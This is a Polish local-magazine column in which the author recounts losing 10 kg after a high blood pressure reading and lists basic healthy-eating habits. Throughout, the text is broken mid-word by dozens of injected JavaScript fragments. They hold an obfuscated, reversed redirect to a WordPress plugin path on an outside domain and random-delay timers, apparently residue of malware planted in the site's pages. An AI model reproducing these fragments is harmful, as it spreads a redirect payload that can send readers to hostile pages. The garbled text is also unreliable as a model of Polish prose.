Dieta – czyli fakty i mity o poważnej sprawie

Święta Bożego Narodzenia minęły, przymusowe obżarstwo skończyło się, więc już chyba można, drodzy Czytelnicy, zająć się na spokojnie sprawami żywieniowymi.

Skoro temat „uzyskanie niezależności finansowej” nie wzbudził żadnego zainteresowania – przynajmniej sądząc po frekwencji na grudniowych spotkaniach, na które zapraszałem w poprzednim wydaniu „Naszych Łomianek” – może kwestie dietetyczne okażą się zagadnieniami ciekawszymi. A nuż poniższy felietoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}ton zainspiruje kogoś toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do podjęcia działań nad własnym organizmem i na łamach naszego miesięcznika będzie można zapoznać się z toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doświadczeniami i sposobami Czytelników zrzucenia zbędnych kilogramów.

Własne toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doświadczenia dietetyczne ztoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dobyłem w zeszłym roku. Na wiosnę 2006 r. okazało się, że przy moim wzroście 180 cm waga ciała przekroczyła 90 kg. Nie był toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to może wynik dramatyczny, ale gdy na badaniach okresowych pani toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doktoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tor namierzyła mi jeszcze podwyższone ciśnienie (w kwestii formalnej: 150/100) uznałem powyższe fakty za poważne ostrzeżenie i postanowiłem schudnąć.

Nadmierne kilogramy były przede wszystkim spowotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dowane złymi nawykami jedzeniowymi. Przez ostatnich kilka miesięcy brałem udział w pracach zespołu, który miał toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doprowadzić toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do prywatyzacji 4 spółek Wielkiej Syntezy Chemicznej, więc jadło się nieregularnie, a słone orzeszki, ciastka i inne łakocie były częstoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to jedynym pokarmem. Co gorsza, wiele miesięcy pracy poszło na marne, bo jak się później okazało, wybraliśmy optymalnych oferentów, ale nie takich, jak oczekiwali decydenci. Tak więc zapewne stres był również toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dodatkowym czynnikiem, że w niekontrolowany sposób przybyło mi kilogramów.

Miałem więc toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do wyboru: albo lekarstwa na obniżenie ciśnienia, albo spróbować zmienić dietę i w konsekwencji schudnąć. Odchudzanie jest zbyt poważną sprawą, aby proces przeprowadzić po amatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}torsku, więc oddałem się w ręce zawotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dowców realizujących program „Pożegnanie z nadwagą” (ze względu na zarzuty o kryptoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toreklamę nie chcę podawać nazwy kliniki medycznej, bo a nuż będą podejrzenia, że coś wziąłem „na boku”).

Przeprowadzone badania i wyniki analiz potwierdziły, że zbędne kilogramy powstały na skutek łakomstwa. Należało więc zmniejszyć dawkę żywieniową toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do około 1500 kcal na toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dobę, aby organizm „spalił” część zapasów tłuszczu.

Moją decyzję o schudnięciu otoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toczenie przyjęło z nietoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dowierzaniem. Panowało powszechne przekonanie, że mi się nie uda. Ba, nawet nie przypuszczałem, że mamy tak wielu znawców zagadnień dietetycznych, zwłaszcza wśród osób, którym w wyniku opracowanej przez nich diety kilogramów przybyło. Straszono mnie, że toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towarzyszący odchudzaniu głód jest nie toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do zniesienia i jedynym marzeniem jest najeść się toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do syta, co zaprzepaści wcześniejsze wyrzeczenia.

Dlaczego tak wiele osób nie zanotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towało sukcesów w odchudzaniu, za toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to osiągnęli efekt jo-jo? Po pierwsze, wielu z nich chce zbyt szybko osiągnąć sukces, np. z powodu wyjazdu na urlop, i w rezultacie zrzucają z organizmu tak potrzebną wodę, a nie tłuszcz. Po drugie, nie zmieniają nawyków jedzeniowych i chcą osiągnąć inny kształt sylwetki jedząc toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, co toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dotychczas. Po trzecie, nadal brakuje im czasu, aby wykonać nawet minimalny wysiłek fizyczny. Po czwarte, nadal jadają nieregularnie i zbyt rzadko.

Z perspektywy czasu mogę stwierdzić, że wiele opowieści o dietach jest nieprawdziwych. Nie wiem jak jest z ludźmi chorymi, ale moim zdaniem każdy zdrowy człowiek może bez większych trudności schudnąć toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do wymaganej dla danego osobnika wagi. Należy tylko konsekwentnie stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tosować się toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do kilku podstawowych zasad zdrowego żywienia: jeść regularnie 4-5 razy dziennie określoną dawkę urozmaiconego pożywienia (zwłaszcza owoce i warzywa), wypijać ze 2-2,5 litra wody niegazowanej (dla mnie obrzydlistwo, ale można się przyzwyczaić), regularnie wykonywać chociaż przez kilka minut dziennie ćwiczenia fizyczne (np. pompki, spacery), nie pojadać między posiłkami oraz unikać słodyczy i innych „pustych” kalorii.

Mnie na razie udaje stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tosować się toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do tych zaleceń, więc stracone przez pięć miesięcy 10 kg wagi ciała nie powróciło. Jakżeż łatwo biegnie się toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do tramwaju czy autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobusu! A przecież nie odmawiam sobie od czasu toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do czasu buteleczki piwa czy wina, karkóweczki z grilla, kawałka ciasta czy czekolady. Po prostu trzeba w żywieniu zachować rozsądek i nadal czerpać przyjemność z jedzenia i picia.

Są również negatywne aspekty schudnięcia: kupiony kilka miesięcy temu garnitur nie pasuje i nadaje się toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do wyrzucenia, spodnie bez paska opadają, koszule pod szyją są zbyt luźne.

Niezależnie od negatywnych aspektów, o których wspomniałem powyżej, moim zdaniem wartoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to było jednak podjąć wyzwanie i odchudzić się. Choćby dla obecnie wzorcowego ciśnienia krwi 120/80. Czego i Wam, drodzy Czytelnicy, życzę w Nowym Roku.

JERZY KOSTOWSKI